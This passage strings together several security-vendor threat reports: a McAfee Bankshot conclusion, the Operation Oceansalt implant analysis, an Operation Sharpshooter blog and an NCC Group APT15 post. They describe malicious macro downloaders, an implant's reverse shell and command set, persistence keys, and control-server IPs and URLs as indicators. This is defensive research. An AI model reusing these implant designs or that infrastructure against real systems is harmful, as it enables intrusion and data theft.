malware sends a response to the control server indicating whether the action was successful. Connections The US government reports that Bankshot is used by Hidden Cobra to target multiple industries including financial organizations. This implant has been connected to a major Korean bank attack and is also known as Trojan Manuscript. That variant contained the capability to search for hosts related to the SWIFT network and the same control server strings as the variant we found targeting the Turkish financial sector. The implant does not conduct financial transactions; rather it is a channel into the victim s environment, in which further stages of implants can be deployed for financial reconnaissance. The Bankshot implant was also observed in 2017 in documents appearing to come from Latin American banks. Malicious document delivering the Bankshot implant in 2017. These connections, combined with the implant s nearly identical appearance to known variants, are a strong indication that we have uncovered a Hidden Cobra attack. Further, previous implants from 2017 contained bogus documents with financially themed content. A code comparison of hash 12c786c490366727cf7279fc141921d8 with hash 6de6a0df263ecd2d71a92597b2362f2c (from November 28, 2017). Conclusion 15/17 We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey (and possibly other countries). In this campaign, we see the adoption of a recent zero-day Adobe Flash vulnerability to get the implant onto the victim systems. The campaign has a high chance of success against victims who have an unpatched version of Flash. Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal. This is the first time that Bankshot has been tied directly to financial-related hacking and the first time it has been used since November 2017. McAfee detects these threats as: RDN/Generic Exploit RDN/Generic.dx Generic PWS.y Generic.hbg Exploit-CVE2018-4878 McAfee customers are also covered by McAfee Global Threat Intelligence Web Reputation classification, which rate these URLs as High Risk. Indicators of Compromise MITRE ATT&CK techniques Exfiltration over command and control channel Commonly used port Command-line interface Service execution Automated collection Data from local system Process discovery System time discovery Credential dumping Exploitation of vulnerability Process injection File deletion Hashes 650b7d25f4ed87490f8467eb48e0443fb244a8c4 65e7d2338735ec04fd9692d020298e5a7953fd8d 16/17 166e8c643a4db0df6ffd6e3ab536b3de9edc9fb7 a2e966edee45b30bb6bb5c978e55833eec169098 Domains 530hr[dot]com/data/common.php 028xmz[dot]com/include/common.php 168wangpi[dot]com/include/charset.php Falcancoin[dot]io 17/17 REPORT Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group October 18, 2018 McAfee Advanced Threat Research REPORT Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group Introduction McAfee Advanced Threat Research and Anti-Malware Operations teams have discovered another unknown data reconnaissance implant targeting Korean-speaking users. We have named this threat Operation Oceansalt based on its similarity to the earlier malware Seasalt, which is related to earlier Chinese hacking operations. Oceansalt reuses a portion of code from the Seasalt implant (circa 2010) that is linked to the Chinese hacking group Comment Crew. Oceansalt appears to have been part of an operation targeting South Korea, United States, and Canada in a well-focused attack. A variation of this malware has been distributed from two compromised sites in South Korea. (They are currently offline.) Oceansalt appears to be the first stage of an advanced persistent threat. The malware can send system data to a control server and execute commands on infected machines, but we do not yet know its ultimate purpose. The Advanced Threat Research team has not previously described this implant in any of our analyses. Comment Crew or Another Actor? The actions of Comment Crew, also known as APT1, were exposed in 2013 in a ground-breaking report on Chinese cyber espionage against the United States. This report detailed the inner workings of Comment Crew and its cyber offensive capabilities. The consequences of releasing this public report forced the group to either make changes to their techniques or cease their activity altogether. Until this analysis, we had observed no Authors This report was researched and written by: Ryan Sherstobitoff Asheer Malhotra new activity related to Comment Crew since they were exposed, but now we find portions of their implant code appearing in new operations targeting South Korea. As we investigated this code overlap, we found no evidence that the source code from Comment Crew was ever made public, nor did we find it being sold in underground markets we examined. Has Comment Crew returned? We think it is unlikely. Due to the lack of indications that this is a new Comment Crew campaign, it Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group Connect With Us REPORT raises the question of who is responsible. Based on our research, we offer a few potential scenarios that could explain the existence of Comment Crew s code in the current actor s malware targeting South Koreans. This is a code-sharing arrangement between two actors An actor has privately gained access to the source code from someone involved in the original Comment Crew operations This is a false flag operation using Comment Crew code to make it appear that China and North Korea have collaborated on this cyberattack Does the Actor Speak Korean? The contents of the malicious documents were written in Korean and contained subjects specifically relating to the finances of projects in South Korea. These documents appear to be unique, not found on open-source channels. We were not able to determine the source of these documents, suggesting they were created by the actor. The metadata in the malicious Microsoft Office documents used in the attacks contains a Koreanlanguage code page. This data indicates the document contained the Korean-language pack, most likely to ensure the victims could read it. We also see a consistent author, which is typical of the techniques of previous campaigns we have analyzed that involved malicious documents targeting South Koreans. Figure 1. Metadata from a code page in a malicious .xls document. The Advanced Threat Research team concludes that we have found a new implant family created by an actor targeting Korean-speaking users and using components from Comment Crew s source code. Furthermore it is likely that the actor has a good working knowledge of the Korean language. Targets During our research we discovered the initial attack vector was spear phishing, with two malicious Koreanlanguage Microsoft Excel documents acting as downloaders of this implant. According to our document analysis, the targets likely had knowledge of South Korean public infrastructure projects and related financials a clear indication that the actor focused initially on infrastructure. A second round of malicious documents, this time in Microsoft Word, carried the same metadata and author as the Excel documents. The content was related to the financials of the Inter-Korean Cooperation Fund. The Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT malicious activity first appeared on May 31, 2018, in South Korea. Further telemetry indicates organizations outside of Korea have fallen victim to this attack; as of August 14, the attack had reached multiple industries in Canada and the United States. Further, the code overlaps with that from a previously reported advanced state-sponsored group. The overlap suggests a close collaboration between members of a state-sponsored group and the current actors in conducting cyber operations. The date of the attack s first appearance in North America is unknown. We did not find Office documents affecting targets in Canada and the United States, but our telemetry indicates the threat has also affected systems in North America. It is possible the attack on North American companies is part of a separate campaign from the one targeting Koreans, especially because we discovered only a handful of malicious documents and they distributed only one variant of the implant out of several we found. Based on our telemetry, the team learned these organizations were in the investment, banking, and agriculture industries. Campaign Analysis Objectives and Impact Our research suggests the targets were those who would read documents related to South Korea s public construction expenses, Inter-Korean Cooperation fund, or other global financial data. One possible motive for the campaign is financial theft. These attacks might be a precursor to a much larger attack that could be devastating given the control the attackers have over their infected victims. The impact of these operations could be huge: Oceansalt gives the attackers full control of any system they manage to compromise and the network it is connected to. A bank s network would be an especially lucrative target. The campaign to target and compromise victims across the world began in Korea and expanded globally in stages. The distribution URLs for the implants were fairly consistent for the malicious documents; it appears the actor hacked a number of South Korean websites to host the implant code. Wave One: South Korean higher education The first wave of attacks began with a malicious document created May 18, with a last saved date of May 28. The author of this Korean-language document was Lion, whom we will continue to see throughout later documents. Figure 2. Metadata from a first-wave malicious document. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT In the first wave the malicious Excel file contains a list of Korean names, physical addresses, and email addresses. Many of the names belong to those involved in higher education in South Korea or who attend various institutes. However, the list is random and looks like a copy of a database of personal information from a South Korean government authority. This document contains macro code to download the implant from www.[redacted].kr/admin/data/member/1/ log.php and execute it as V3UI.exe, the name of a security product in South Korea. hxxp://[redacted].kr/admin/data/member/1/log.php Figure 3. The download URL for the second wave of attacks, against public infrastructure. This Excel document was created May 31 by the author Lion, a day before the implant was compiled and hosted on the distribution site. The documents appear to be related to South Korean public infrastructure projects and their expenses. Based on our analysis of the documents, it is clear that this attack is targeted toward South Korean individuals in this field. Wave Two: South Korean public infrastructure The Advanced Threat Research team discovered that the implant was hosted at a legitimate site in South Korea belonging to a music teachers organization that has no relationship to the malicious document. The actor hosted a PHP page that triggered the download of the implant from a malicious VBA script embedded in two Excel documents, which contained Visual Basic macros to communicate, download, and install an implant on the victim s system once the document was opened and viewed. The documents were submitted to us by a South Korean organization during the first wave of attacks. Figure 4. Metadata from a second-wave malicious document. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 5. Malicious document 1: investment trends in public infrastructure projects. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 6. Malicious document 2: expenses in public infrastructure projects. Figure 7. Malicious document 3: a public projects expense report. The last document in this wave was created by Lion on June 4 with the filename 0. _SW_2018 _list_(20180411)_ .xls. This document was observed downloading the implant from the distribution server. It references Onnara, a government agency responsible for land and development in South Korea. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Wave Three: Inter-Korean Cooperation The third wave included a Word document with the same type of macro code as the Excel files. The document contained fake information related to the financials of the Inter-Korean Cooperation Fund. The document was created at the same time as the attacks on South Korean public infrastructure officials. Lion authored both Excel and Word documents. This Word document used a different South Korean compromised website to distribute the implant. In this wave, an additional Excel document appeared with telephone numbers and contact information connected to the content of the Word document. hxxp://[redacted].kr/gbbs/bbs/admin/log.php Figure 8. The distribution URL for the implant for Wave Three. Figure 9. Fake statistics statement monthly report from the Inter-Korean Corporation Fund. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 10. Fake statistics statement monthly report from the Inter-Korean Corporation Fund. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 11. Fake product and partner information. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Wave Four: Targets outside of South Korea Wave Five: South Korea and United States We identified a small number of targets outside of South Korea, as the attacks expanding their scope. We have yet to identify the malicious documents involved in delivering this implant to the victims. Because Waves One and Two contained different distribution servers for the implant, we expect this wave had its own as well. According to McAfee telemetry data between August 10 and 14, these North American targets fall within several industries: The Oceansalt implant was not limited to just one sample. We discovered additional variants using different control servers. As we continued to investigate, we found more samples, though obfuscated to avoid detection. The samples were all identical to the initial Oceansalt implant. The fifth-wave samples were compiled between June 13 and July 17 and were submitted to us by organizations in South Korea and the United States. Industry Country Hash Compile Date Control Server Financial United States 38216571e9a9364b509e52ec19fae61b 6/13/2018 172.81.132.62 Health Care United States 531dee019792a089a4589c2cce3dac95 6/14/2018 211.104.160.196 Health Care United States 0355C116C02B02C05D6E90A0B3DC107C 7/16/2018 27.102.112.179 Telecommunications Canada 74A50A5705E2AF736095B6B186D38DDF 7/16/2018 27.102.112.179 Financial United States 45C362F17C5DC8496E97D475562BEC4D 7/17/2018 27.102.112.179 Agriculture and Industrial United States C1773E9CF8265693F37DF1A39E0CBBE2 7/17/2018 27.102.112.179 Financial United States D14DD769C7F53ACEC482347F539EFDF4 7/17/2018 27.102.112.179 Telecommunications Canada B2F6D9A62C63F61A6B33DC6520BFCCCD 7/17/2018 27.102.112.179 Financial Canada 76C8DA4147B08E902809D1E80D96FBB4 7/17/2018 27.102.112.179 Financial Technology United States Government United States Figure 12. Victims in Wave Four of the campaign. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Technical Analysis Download and execution capabilities Once the .xls/.doc files are opened in Office, embedded malicious macros contact a download server and write the Oceansalt implant to disk These malicious macros execute the Oceansalt implant on the infected endpoint The indicators of compromise from the malicious .xls downloaders: IOC Description IOC Value Download servers contacted [redacted].kr [redacted].kr Oceansalt location on the download server /admin/data/member/1/log[.]php /gbbs/bbs/admin/log[.]php Oceansalt location on the infected endpoint %temp%\SynTPHelper[.]exe %temp%\LMworker[.]exe Figure 13. A portion of the malicious macro code used to download the implant. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Control Server The campaign employed multiple control servers. We observed the following IP addresses in implants dating from June to July. 172.81.132.62 211.104.160.196 27.102.112.179 158.69.131.78 Our telemetry shows this campaign is operational in several countries. Address 211.104.160.196 indicates infections in Costa Rica, the United States, and the Philippines. Address 158.69.131.78 reveals additional infections in the United States and Canada. These machines resided in numerous countries from August 18 21. Because this operation involves multifunction implants, these machines are likely to be part of a larger covert listener network. The Advanced Threat Research team has observed this kind of targeting in similar operations that compromise victims as control server relays. Implant Origins Our initial investigation into earlier similar samples led us to a variant bf4f5b4ff7ed9c7275496c07f9836028, compiled in 2010. Oceansalt uses portions of code from this sample; their overall similarity is 21%. The reused code is unique, is not considered a common library or common code, and serves reconnaissance and control. The misclassified sample used a Comment Crew domain. Further investigation revealed the misclassified sample is 99% like Seasalt (5e0df5b28a349d46ac8cc7d9e5e61a96), a Comment Crew implant reported to have been used in their operations around 2010. Thus the Oceansalt actor is reusing portions of code from Seasalt to form a new implant. Based on the overall techniques, Oceansalt is unlikely to signal a rebirth of Comment Crew, raising the question of how the actor obtained the Seasalt code. Was it provided to this or another actor, or was it leaked and discovered by this actor? We have been unable to find any evidence in underground or public forums that suggest the source code of Seasalt has been leaked or made available. We discovered another batch of samples compiled on July 16 17 that are obfuscated and essentially the same implant, with minor changes such as the control servers. Some of the samples are missing reverse-shell functionality, indicating that this actor has access to Seasalt source code and can compile implants from the original source. This could demonstrate is a level of collaboration between two nation-states on their cyber offensive programs. Code Similarities with Seasalt Oceansalt contains the following strings that are part of Seasalt: Upfileer Upfileok Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 14. Seasalt strings appearing in Oceansalt. Figure 16. Command handler similarity between Seasalt, at left, and Oceansalt. Figure 15. Seasalt strings appearing in Oceansalt. Both implants have a high degree of similarity in code sharing and functions. A few of their commonalities follow. Command handler and index table similarities The command handler for both implants uses similar semantics and command codes to execute the same functionalities. Even the mechanism for calculating the command code is similar. Seasalt code is represented on the left and Oceansalt appears on the right: Figure 17. Command index table similarity between Seasalt, at left, and Oceansalt. Command and capability similarities Both implants execute their capabilities in the same way, which indicates they were both developed from the same code base. The response codes used by both implants to indicate the success or failure of the commands executed on the endpoint are also an exact match. Some of these similarities: Drive reconnaissance capability: Similar code signatures. Both implants use the same codes to indicate the drive type to the control server. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 18. Similarity in the drive recon functionality. Seasalt is at left. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT File reconnaissance capability: Similar API and code usage to get file information. The response codes sent to the control server to indicate whether a file was found is an exact match. Figure 19. Similarity in the command execution capability. Seasalt is at left. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Reverse-shell creation capability: Both implants use similar code signatures to create a reverse shell on the infected endpoint. Both reverse shells are based on cmd.exe. Figure 20. Reverse-shell creation capability similarities. Seasalt is at left. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Code Differences from Seasalt There are a few differences between the two implants in implementation; these demonstrate that Oceansalt is not simply a recompilation of Seasalt source code. However, these differences also provide evidence that Oceansalt is an evolution of Seasalt. Encoding: The Oceansalt implant uses an encoding and decoding mechanism before any data is sent to the control server. The Seasalt implant does not use this encoding and sends unencrypted data to the control server. Control server address: Oceansalt uses a hardcoded control server address to establish communication. Seasalt parses the control address from its binary by decoding data. Persistence: Oceansalt has no persistence mechanisms to ensure continued infection over endpoint reboots. Seasalt, on the other hand, copies itself to C:\DOCUMEN~1\\java.exe and creates a registry entry to ensure infection after reboot: HKLM\Software\Microsoft\Windows\currentVersion\ Run | sysinfo Based on the executable header information, Seasalt was compiled on March 30, 2010. Oceansalt was compiled on June 1, 2018. Highlighting the compilation timestamps is important because, as our preceding analysis demonstrates, the samples have a high degree of code sharing: Multiple code matches and similarities Multiple functional similarities Identical command capabilities Same command and response codes issued by and sent to the control server The code used to create the reverse shell in Oceansalt is an exact match with that of Comment Crew s Seasalt implant. The mechanism for creating the reverse shell (pipe-based inter-process communication for standard I/O handles) is also seen in Comment Crew implants such as WebC2-CSON and WebC2-GREENCAT. These matches lead us to believe that Oceansalt is based on Seasalt, because it reuses much of the code base developed 10 years ago. Seasalt s public disclosure in the Comment Crew report does not seem to have discouraged Oceansalt s developer. Obfuscated Oceansalt Comparison with Seasalt We offer a comparative analysis of the following partially obfuscated implants against the initial Oceansalt sample and the Seasalt implant from Comment Crew. SHA-1 Compile Date Role fc121db04067cffbed04d7403c1d222d376fa7ba 7/16/2018 Partially obfuscated Oceansalt 281a13ecb674de42f2e8fdaea5e6f46a5436c685 7/17/2018 Partially obfuscated Oceansalt 1f70715e86a2fcc1437926ecfaeadc53ddce41c9 7/17/2018 Partially obfuscated Oceansalt ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36 7/16/2018 Partially obfuscated Oceansalt 12a9faa96ba1be8a73e73be72ef1072096d964fb 7/17/2018 Partially obfuscated Oceansalt be4fbb5a4b32db20a914cad5701f5c7ba51571b7 7/17/2018 Partially obfuscated Oceansalt 0ae167204c841bdfd3600dddf2c9c185b17ac6d4 7/17/2018 Partially obfuscated Oceansalt Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT All the partially obfuscated Oceansalt implants have the following characteristics: All implants were compiled during a three-day period: July 16 All implants contain debug statements (print logs) written to the log file: C:\Users\Public\Videos\temp.log Evidence of Source-Code Sharing We present evidence of source-code sharing between the Oceansalt authors and Comment Crew, based on our comparative analysis of the three sets of samples: Oceansalt, partially obfuscated Oceansalt, and Seasalt. These debug statements begin with the timestamp and consist of the following keywords at the beginning of the debug message: The mechanism for obtaining the address in Seasalt is different from Oceansalt s. Seasalt looks for encoded data at the end of the binary, decodes this data into tokens separated by the marker and obtains the control server information. [WinMain] [FraudProc] All implants connected to the same control server IP address: 27.102.112.179 Although none of the partially obfuscated implants contain any additional capabilities (as compared with the initial Oceansalt or Seasalt), some of the partially obfuscated implants are missing the reverse-shell capabilities: Partially Obfuscated Oceansalt Hash Reverse-Shell Capability? C1773E9CF8265693F37DF1A39E0CBBE2 0355C116C02B02C05D6E90A0B3DC107C 74A50A5705E2AF736095B6B186D38DDF 45C362F17C5DC8496E97D475562BEC4D D14DD769C7F53ACEC482347F539EFDF4 B2F6D9A62C63F61A6B33DC6520BFCCCD 76C8DA4147B08E902809D1E80D96FBB4 There is no possibility the attackers could have reinstrumented Seasalt by simply modifying the control server IP addresses: Oceansalt implants have the control server IP addresses and port numbers hardcoded as plaintext strings in the binaries Some of the partially obfuscated Oceansalt implants are missing the reverse-shell capability. All other capabilities (code signatures, response codes, etc.) and command codes are similar. (Command codes are either the same or off by 1.) Modifying capabilities in this fashion is possible only with access to the source code of Seasalt. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT The presence of debug strings tracing the code flow of the Oceansalt implants indicates they were compiled after adding debug information to the source code of Seasalt: [WinMain]after recv cmd=%d 0Dh 0Ah [WinMain]before recv 0Dh 0Ah [FraudProc]Engine is still active! 0Dh 0Ah [FraudPRoc]Process Restart! 0Dh 0Ah The presence of these debug strings also indicates that the authors who modified the source code may have used these samples to perform their initial testing before obfuscating and releasing the implants to their victims, without scrubbing the debug strings The Oceansalt implant 531dee019792a089a4589c2cce3dac95 (compiled June 1) contains a few key features that indicate compilation from the source code of Seasalt: Does not contain the reverse-shell capability Does not contain the drive recon capability Loads API SHGetFileInfoA() dynamically without statically importing it. This also suggests that Seasalt s source code was modified before compilation. Figure 21. Dynamic API loading in an Oceansalt implant. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Oceansalt Capabilities Oceansalt is 76KB, a minimal on-disk footprint that is harder to detect than larger malware. The implant has a variety of capabilities for capturing data from the victim machine using a structured command system. From our research we have determined that this implant is a first-stage component. Further stages are downloaded through its commands. Oceansalt also supports commands enabling the attacker to take various actions on the victim s system. Initial reconnaissance Oceansalt starts by trying to connect to its control server at 158.69.131.78:8080. Once connected, the implant sends the following information about the endpoint: IP address Computer name File path of the implant All data sent to the control server is encoded with a NOT operation on each byte. Figure 23. Control server connection functionality for Oceansalt. Figure 22. Initial data gathered from the endpoint by Oceansalt. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Command handler functions Oceansalt can execute 12 commands. Each command received from the control server is represented by a command code ranging from 0x0 to 0xB (0 to 11). Figure 24. Command index table showing Oceansalt s capabilities. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 25. Oceansalt s command execution functionality. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT 0x0: Drive recon The control server sends this command code to Oceansalt to extract drive information from the endpoint. The format of the drive information: #::...# Legend Description A,B,C,D,E, etc., representing all logical drives on the system 0 = DRIVE_REMOVABLE 1 = DRIVE_FIXED 2 = DRIVE_CDROM 3 = DRIVE_REMOTE Figure 26. Oceansalt gathering drive information. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT 0x1: File recon Sends the following information about a specific file (or file pattern) specified by the control server: Filename Type of file on disk, for example, file or folder if file was found on the location File creation time in format 0x2: Command execute Executes a command line using WinExec(). The command line is provided by the control server along with the command number. For example: 02 00 00 00 C:\Windows\system32\calc.exe The command line is executed with a hidden window (using the SW_HIDE option for WinExec()). 0x3: File delete Deletes a file specified by the control server from the disk Once an operation is completed, the implant sends (in ASCII) to the control server to indicate the successful execution of the command If the operation fails, Oceansalt sends a (in ASCII) to indicate failure 0x4: File write Creates a file specified by a file path provided by the control server, which also provides the content to be written to the file path If the file write is successful, Oceansalt sends the keyword upfileok indicating success If the file write fails, the implant sends the keyword upfileer indicating failure Figure 27. Oceansalt s command execution capability. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT 0x6: Process recon Figure 28. Oceansalt s file-writing capability. Sends the name and ID for every process running on the system to the control server Process data is sent via individual packets, that is, one packet per process Figure 29. Oceansalt s process listing via its recon capability. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT 0x7: Process terminate Terminates a process whose ID has been specified by the control server 0x8: Reverse shell create Opens a reverse shell from the infected endpoint to the control server using Windows pipes This reverse shell is based on cmd.exe. It can carry out further recon and make changes to the endpoint. Figure 30. Oceansalt s reverse-shell creation capability. Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT 0x9: Reverse shell operate Operates the reverse shell established using the previous command code Contains the commands sent by the control server to the reverse shell that will be executed by cmd.exe on the infected endpoint Once the command has been executed, the output is read from cmd.exe via a pipe and sent to the control server 0XA: Reverse shell terminate Closes the reverse shell by closing handles to the pipes created for the shell s inter-process communication 0XB: Connection test Tests receive and send capabilities of the implant by receiving data (0x7 bytes) from the control server and sending it back Conclusion Based on our analysis, the McAfee Advanced Threat Research team has named this global threat Operation Oceansalt. This operation has focused on targets in South Korea and other countries with new malware that has roots in Comment Crew activity from 2010. Our research shows that Comment Crew s malware in part lives on in different forms employed by another advanced persistent threat group operating primarily against South Korea. This research represents how threat actors including nation-states might collaborate on their campaigns. McAfee continues to monitor the threat landscape in Asia and around the world to track the evolution of known groups and changes to their techniques. Persistence Oceansalt has no persistence capabilities to remain on the endpoint after the system reboots This lack suggests other components in the infection chain may ensure persistence and carry out other malicious activities Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT McAfee Coverage IP addresses Generic.dx!tjz 158.69.131.78 RDN/Generic.grp 172.81.132.62 RDN/Generic.ole 27.102.112.179 RDN/Generic.grp (trojan) 211.104.160.196 RDN/Trojan-FQBD RDN/Generic.RP Hashes fc121db04067cffbed04d7403c1d222d376fa7ba Indicators of Compromise 832d5e6ebd9808279ee3e59ba4b5b0e884b859a5 MITRE ATT&CK Techniques be4fbb5a4b32db20a914cad5701f5c7ba51571b7 Scripting 1f70715e86a2fcc1437926ecfaeadc53ddce41c9 Spear phishing attachment dd3fb2750da3e8fc889cd1611117b02d49cf17f7 Automated collection 583879cfaf735fa446be5bfcbcc9e580bf542c8c Command-line interface ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36 Network share discovery d72bc671583801c3c65ac1a96bb75c6026e06a73 Process discovery e5c6229825f11d5a5749d3f2fe7acbe074cba77c File and directory discovery 9fe4bfdd258ecedb676b9de4e23b86b1695c4e1e Data from local system 281a13ecb674de42f2e8fdaea5e6f46a5436c685 Data from removable media 42192bb852d696d55da25b9178536de6365f0e68 Data from network shared drive 12a9faa96ba1be8a73e73be72ef1072096d964fb Exfiltration over control server channel 0ae167204c841bdfd3600dddf2c9c185b17ac6d4 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group About McAfee McAfee is the device-to-cloud cybersecurity company. Inspired by the power of working together, McAfee creates business and consumer solutions that make our world a safer place. By building solutions that work with other companies products, McAfee helps businesses orchestrate cyber environments that are truly integrated, where protection, detection, and correction of threats happen simultaneously and collaboratively. By protecting consumers across all their devices, McAfee secures their digital lifestyle at home and away. By working with other security players, McAfee is leading the effort to unite against cybercriminals for the benefit of all. About McAfee Labs and Advanced Threat Research McAfee Labs, led by McAfee Advanced Threat Research, is one of the world s leading sources for threat research, threat intelligence, and cybersecurity thought leadership. With data from millions of sensors across key threats vectors file, web, message, and network McAfee Labs and McAfee Advanced Threat Research deliver real-time threat intelligence, critical analysis, and expert thinking to improve protection and reduce risks. www.mcafee.com/us/mcafee-labs.aspx. www.mcafee.com. 2821 Mission College Blvd. Santa Clara, CA 95054 888.847.8766 www.mcafee.com McAfee and the McAfee logo are trademarks or registered trademarks of McAfee, LLC or its subsidiaries in the US and other countries. Other marks and brands may be claimed as the property of others. Copyright 2017 McAfee, LLC. 4149_1018 OCTOBER 2018 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group Operation Sharpshooter Targets Global Defense, Critical Infrastructure securingtomorrow.mcafee.com/blogs/other-blogs/mcafee-labs/operation-sharpshooter-targets-globaldefense-critical-infrastructure/ December 12, 2018 By Ryan Sherstobitoff and Asheer Malhotra on Dec 12, 2018 This post was written with contributions from the McAfee Advanced Threat Research team. The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant which we call Rising Sun for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries. Operation Sharpshooter s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community. Read our full analysis of Operation Sharpshooter. Have we seen this before? This campaign, while masquerading as legitimate industry job recruitment activity, gathers information to monitor for potential exploitation. Our analysis also indicates similar techniques associated with other job recruitment campaigns. Global impact In October and November 2018, the Rising Sun implant has appeared in 87 organizations across the globe, predominantly in the United States, based on McAfee telemetry and our analysis. Based on other campaigns with similar behavior, most of the targeted organizations are English speaking or have an English-speaking regional office. This actor has used recruiting as a lure to collect information about targeted individuals of interest or organizations that manage data related to the industries of interest. The McAfee Advanced Threat Research team has observed that the majority of targets were defense and government-related organizations. Targeted organizations by sector in October 2018. Colors indicate the most prominently affected sector in each country. Source: McAfee Global Threat Intelligence. Infection flow of the Rising Sun implant, which eventually sends data to the attacker s control servers. Conclusion Our discovery of this new, high-function implant is another example of how targeted attacks attempt to gain intelligence. The malware moves in several steps. The initial attack vector is a document that contains a weaponized macro to download the next stage, which runs in memory and gathers intelligence. The victim s data is sent to a control server for monitoring by the actors, who then determine the next steps. We have not previously observed this implant. Based on our telemetry, we discovered that multiple victims from different industry sectors around the world have reported these indicators. Was this attack just a first-stage reconnaissance operation, or will there be more? We will continue to monitor this campaign and will report further when we or others in the security industry receive more information. The McAfee Advanced Threat Research team encourages our peers to share their insights and attribution of who is responsible for Operation Sharpshooter. Indicators of compromise MITRE ATT&CK techniques Account discovery File and directory discovery Process discovery System network configuration discovery System information discovery System network connections discovery System time discovery Automated exfiltration Data encrypted Exfiltration over command and control channel Commonly used port Process injection Hashes 8106a30bd35526bded384627d8eebce15da35d17 66776c50bcc79bbcecdbe99960e6ee39c8a31181 668b0df94c6d12ae86711ce24ce79dbe0ee2d463 9b0f22e129c73ce4c21be4122182f6dcbc351c95 31e79093d452426247a56ca0eff860b0ecc86009 Control servers 34.214.99.20/view_style.php 137.74.41.56/board.php kingkoil.com.sg/board.php Document URLs hxxp://208.117.44.112/document/Strategic Planning Manager.doc hxxp://208.117.44.112/document/Business Intelligence Administrator.doc hxxp://www.dropbox.com/s/2shp23ogs113hnd/Customer Service Representative.doc? dl=1 McAfee detection RDN/Generic Downloader.x Rising-Sun Rising-Sun-DOC APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-androyaldns/ September 3, 2018 In May 2017, NCC Group's Incident Response team reacted to an ongoing incident where our client, which provides a range of services to UK Government, suffered a network compromise involving the advanced persistent threat group APT15. APT15 is also known as, Ke3chang, Mirage, Vixen Panda GREF and Playful Dragon. A number of sensitive documents were stolen by the attackers during the incident and we believe APT15 was targeting information related to UK government departments and military technology. APT15 expands its arsenal During our analysis of the compromise, we identified new backdoors that now appear to be part of APT15's toolset. The backdoor BS2005 - which has traditionally been used by the group - now appears alongside the additional backdoors RoyalCli and RoyalDNS. The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb RoyalCli and BS2005 both communicate with the attacker's command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we'll get to this later. Analysis of the domains and IP address infrastructure used by APT15 identified a number of similar possible domains, shown at the bottom of the post. These appeared to be hosted on either Linode or Google Cloud, with a preference for using the ASN AS63949. All of the backdoors identified - excluding RoyalDNS - required APT15 to create batch scripts in order to install its persistence mechanism. This was achieved through the use of a simple Windows run key. We believe that APT15 could have employed this technique in order to evade behavioural detection, rather than due to a lack of sophistication or development capability. Additional tools were recovered during the incident, including a network scanning/enumeration tool, the archiving tool WinRAR and a bespoke Microsoft SharePoint enumeration and data dumping tool, known as 'spwebmember'. 